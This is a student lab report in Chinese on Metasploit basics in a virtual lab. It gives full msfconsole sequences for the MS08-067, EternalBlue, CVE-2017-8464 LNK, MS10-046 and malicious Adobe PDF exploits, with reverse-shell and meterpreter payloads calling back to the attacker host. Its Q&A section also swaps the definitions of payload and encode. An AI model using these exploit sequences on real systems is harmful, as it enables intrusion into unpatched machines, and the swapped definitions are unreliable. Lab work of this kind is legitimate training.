Exp5 MSF基础应用 20164309 欧阳彧骁
1.实验内容
1.0Armitage初体验
在kali端输入 armitage 启动armitage
发现开启失败，更根据提示先输入 /etc/init.d/postgresql start ，打开postgresql服务再进入armitage
更改端口为学号4309，其他选项默认不变
进入界面发现没有可以攻击的主机
选择上方菜单栏hosts-nmap scan-quick scan(os detect)进行扫描
对虚拟机所在的网段进行扫描
选中靶机，右键选择services，查看可以利用的端口 
右键选择scan进行扫描 
选择上方菜单栏attacks-findattacks
可以进行攻击了！
对win7端攻击失败后，我增添了一台xp sp3继续进行实验；
选中目标主机右键attack-smb-ms08_067_netapi
在攻击win7失败后，我下载了一个xp进行实验，攻击仍然失败，猜测应该是与xp系统的中英文版本有关，中文盗版猖獗，每次有新补丁盗版方还会贴心地给用户打上。。。
重新下载一个windows2003 server sp2,进行相关攻击
2003端仍然失败，重新在windows 2000 sp4上实验还是失败，也许不是系统版本与相关补丁的问题，可能是kali上的armitage配置出现了一些问题，暂时排除不了具体原因，还是用老办法msfconsole继续实验吧。
1.1三个主动攻击实践+成功应用任何一个辅助模块+唯一
1.1.1 ms08_067_netapi
攻击端：kali 2019 192.168.236.131
靶机：win 2000 sp4 192.168.236.143
输入 msfconsole
输入 search ms08_067 ，查找可用的exploit
输入 use exploit/windows/smb/ms08_067_netapi
输入 show payloads 对可使用的payload进行查找，这里我使用generic/shell_reverse_tcp
输入 set payload generic/shell_reverse_tcp
配置攻击源地址源端口与目的地址
set RHOST 192.168.236.143 set LPORT 4309 set LHOST 192.168.236.131
输入 show options 查看具体信息
输入 exploit 进行渗透攻击
攻击成功
1.1.2 ms17_010_eternalblue+ auxiliary辅助模块扫描
攻击端：kali-linux-2019.1-amd64 ip:192.168.236.131
靶机：Win 7 旗舰版 ip:192.168.236.128
还是没有死心，打算再次使用armitage实验。
选中靶机，在armitage左侧目录中选择exploit-windows-smb-ms_010_eternalblue
看似是攻击成功了，但是在连接sessions与调用meterpreter shell是出现了问题，看来应该是我kali中armitage工具不够完善。还是乖乖滚回去用msf吧。
进入msfconsole
输入 search ms17 type: auxiliary platform:windows 查找永恒之蓝的auxiliary辅助模块扫描指令
输入 use auxiliary/scanner/smb/smb_ms17_010
输入 set RHOSTS 192.168.239.129 设置目标地址
输入 run 进行扫描
能够建立连接，开始正式攻击
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/shell/reverse_tcp set RHOST 192.168.236.128 set LPORT 4309 set LHOST 192.168.236.131 show options exploit
攻击成功。
1.1.3 cve 2017_8464 (震网三代) (唯一)
use exploit/windows/fileformat/cve_2017_8464_lnk_rce set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.236.131 exploit
输入 cp -r /root/.msf4/local/ /root/1 将生成的文件从隐藏文件夹中复制出来
将文件导出至U盘，连接到靶机中。
kali端进行监听：
search multi/handler use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.236.131 run
在靶机运行U盘中的FlashPlayerCPLAPP.cpl
攻击成功。
1.2 一个针对浏览器的攻击：ms10_046
攻击端：kali-linux-2019.1-amd64 ip:192.168.236.131
靶机：Win xp ps3 ip:192.168.236.134
进入msfconsole
输入 search ms10_046
输入 use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_http set RHOST 192.168.236.134 set LPORT 4309 set LHOST 192.168.236.131 show options exploit
靶机连接http://192.168.236.131:80/
输入 session -i 1 连接id为1的session获取shell
攻击成功。
1.3 一个针对客户端的攻击：adobe_pdf_embedded_exe
攻击端：kali-linux-2019.1-amd64 ip:192.168.236.131
靶机：Win xp ps3 ip:192.168.236.134
进入msfconsole
输入 search adobe type:exploit platform:windows 查找可用漏洞，这里我选择了adobe_pdf_embedded_exe
use exploit/windows/fileformat/adobe_pdf_embedded_exe
show payloads
Set payload windows/meterpreter/reverse_tcp set RHOST 192.168.236.134 set RHOST 192.168.236.134 set LPORT 4309 set LHOST 192.168.236.131 set FILENAME 20164309.pdf show options exploit
生成文件20164309.pdf
使用nc将文件传输到靶机中
ncat.exe -lv 4309 > 20164309.pdf nc 192.168.236.134 4309 < 20164309.pdf
攻击机中进行监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.236.131 set LPORT 4309 exploit
靶机中打开文件，攻击成功。
2.基础问题回答
用自己的话解释什么是exploit,payload,encode.
Exploit：“利用”，通过漏洞来攻击受害者，也就是拉货的马；
Payload：“编码”，去掉“坏字符”，为渗透攻击做准备；改变特征码，起到免杀作用；也就是货车；
Encode：“有效负载”、“shellcode”，能够在受害者环境中进行操作，也就是装货的车厢。
整个攻击过程就是马拉着装满货物的车送往目的地。
3.实践总结体会
3.1总结体会
本次实验是我历时最长的一次实验，也是收获最大的一次实验。包括实验报告的撰写实验五一共花费了我四个晚上的时间，让我深深明白了什么是自学。在实验的开始我打算图方便使用armitage进行自动化攻击，导致我在不停下载与更换虚拟机上浪费了过多的时间，最后还是没有排除无法成功应用armitage。其实我还尝试了WebExec（CVE-2018-15442）与mssql_payload但均以失败告终，这也让我感受到了我能力的不足。
3.2离实战还缺些什么技术或步骤
缺的东西大了去了，以我的水平只是到应用msf工具的水平，还不能详细的阐述攻击的原理；并且meterpreter库中更新不及时，很多漏洞都及时被windows官方发现与修复，实战性不强；同时像payload的编写、encode的设计我们都没有能力实现，导致攻击方法单一，水准不够高。
